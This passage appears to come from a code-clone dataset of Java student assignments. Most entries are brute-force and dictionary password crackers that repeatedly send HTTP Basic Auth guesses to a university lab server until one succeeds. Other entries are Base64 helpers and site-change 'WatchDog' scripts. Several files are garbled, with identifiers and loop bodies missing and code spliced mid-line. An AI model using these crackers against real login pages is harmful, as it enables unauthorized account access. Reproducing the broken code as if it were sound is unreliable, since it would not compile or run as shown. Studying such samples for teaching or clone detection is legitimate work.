0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 153.java,"import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""""; String auth_data; String server_res_code; String required_server_res_code=""200""; int cntr=0; try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 085.java," import java.Thread; import java.io.*; import java.net.*; public class Dictionary extends Thread { final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; Dictionary parent; static LineNumberReader lnr; public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; String word = """"; starttime = System.currentTimeMillis(); try { boolean passwordOkay; while(word != null && !parent.solved) { passwordOkay = false; while(!passwordOkay || word == null) { word = lnr.readLine(); passwordOkay = true; if(word.length() != 3) passwordOkay = false; } response = tryLogin(word); x++; if(response == SUCCESS) { System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ word); parent.solved = true; } if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ word +"")""); } } catch(Exception e) { System.err.println(""Error while from dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); } if(response == SUCCESS) { System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec.""); System.out.println(""Thread . "" + threadno + "" was the one!""); } } public static void main (String[] args) { Dictionary parent; try { lnr = new LineNumberReader(new FileReader(""/usr/share/lib/dict/words"")); } catch(Exception e) { System.err.println(""Error while loading dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); } Dictionary[] attackslaves = new Dictionary[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println(""Usage: Dictionary ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",153.java,"import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""""; String auth_data; String server_res_code; String required_server_res_code=""200""; int cntr=0; try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 078.java,"import java.util.*; import java.net.*; import java.io.*; public class BruteForce { boolean connected = false; int counter; String[] chars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"", ""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"", ""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"", ""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"", ""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", ""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"", ""W"",""X"",""Y"",""Z""}; Vector combinations = new Vector(); BruteForce() { counter = 0; this.genCombinations(); this.startAttack(); } public void startAttack() { while(counter= iEnd) bDone = true; } } } ",119.java," import java.util.*; public class Dictionary { private String strUsername; private String strURL; public Dictionary(String username, String url) { strUsername = username; strURL = url; } public void run() { Date dtStart, dtEnd; PasswordFile pwd = new PasswordFile(""/usr/dict/words""); PasswordTest tester; int i=1; boolean bDone = false; Result res; dtStart = new Date(); while(!bDone) { tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); bDone = tester; i++; if(bDone) { res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); System.out.print(res.toString()); } else { } if(pwd.getPassword() == null) { System.out.println(""Exhausted word file without finding password""); bDone = true; } } } public static void main(String[] args) { Dictionary dict = new Dictionary("""", ""http://sec-crack.cs.rmit.edu./SEC/2/""); dict.run(); } } " 147.java,"import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); String file = ""/usr/share/lib/dict/words""; String word; char[] password = new char[MAX_LENGTH]; String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; while (!auth) { BufferedReader in = null; try { in = new BufferedReader(new FileReader(file)); while ((word = in.readLine()) != null && !auth) { try { if (word.length() <= MAX_LENGTH) { password = word.toCharArray(); Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod(""HEAD""); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println(""cracked with "" + new String(password)); auth = true; } } } catch (Exception e) { System.out.println("" was exception: "" + e.getMessage()); } } } catch (FileNotFoundException fnfe) { System.out.println(""File Not Found""); } catch (IOException ioe) { System.out.println(""IOException""); } catch(Exception e) { e.printStackTrace(); } finally { try { in.close(); } catch (Exception e) {;} } } if (!auth) { System.out.println(""Unable determine password""); } else { time = (new Date()).getTime() - start.getTime(); System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = """"; return new PasswordAuthentication(user, password); } } ",146.java,"import java.net.*; import java.util.*; public class BruteForce { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); boolean morePasswords = true; int passPtr = 0; StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); char[] password = new char[MAX_LENGTH]; password[0] = validChars.charAt(0); while (!auth && morePasswords) { String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; try { Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod(""HEAD""); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println(""cracked with "" + new String(password)); auth = true; } } catch (Exception e) { System.out.println("" was exception: "" + e.getMessage()); } int count = passPtr; while (true) { if (password[count] == validChars.charAt(validChars.length() - 1)) { password[count] = validChars.charAt(0); count--; } else { password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1); break; } if (count < 0) { if (passPtr < MAX_LENGTH - 1) { passPtr++; password[passPtr] = validChars.charAt(0); } else { morePasswords = false; } break; } } } if (!auth) { System.out.println(""Unable determine password""); } else { time = (new Date()).getTime() - start.getTime(); System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = """"; return new PasswordAuthentication(user, password); } } " 195.java," import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""}; String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""SEC Assignment2 part2\"" < diff.html""}; String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy1""}; String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy1""}; String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy2""}; String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy2""}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec(""mkdir copy1""); c1.waitFor(); Process c2 = Runtime.getRuntime().exec(""mkdir copy2""); c2.waitFor(); Process p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println(""\t\t\tWATCHDOG PROGRAM""); System.out.println(""\t\t\t****************""); System.out.println(""If any change in the web then the value 1""); System.out.println(""If is change then the value 0 ""); System.out.println(""The value :"" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader(""diff.html"")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println(""u have received a mail""); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }",218.java," import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""Part 2-Assignment2 \"" < change.html""}; String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* predir""}; String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* predir""}; String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* postdir""}; String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* postdir""}; String s6[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""}; Process p = Runtime.getRuntime().exec(""mkdir predir""); p.waitFor(); Process p1 = Runtime.getRuntime().exec(""mkdir postdir""); p1.waitFor(); p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println(""The WatchDog - Returns 0 if change else 1""); System.out.println(""Value :"" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader(""change.html"")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } } " 008.java," import java.io.*; import java.*; public class BruteForce { public static void main(String args[]) { String s = null; String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); String password = null; int len = 0; int num_tries = 0; len = alphabets.length(); for (int i=0; i 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = 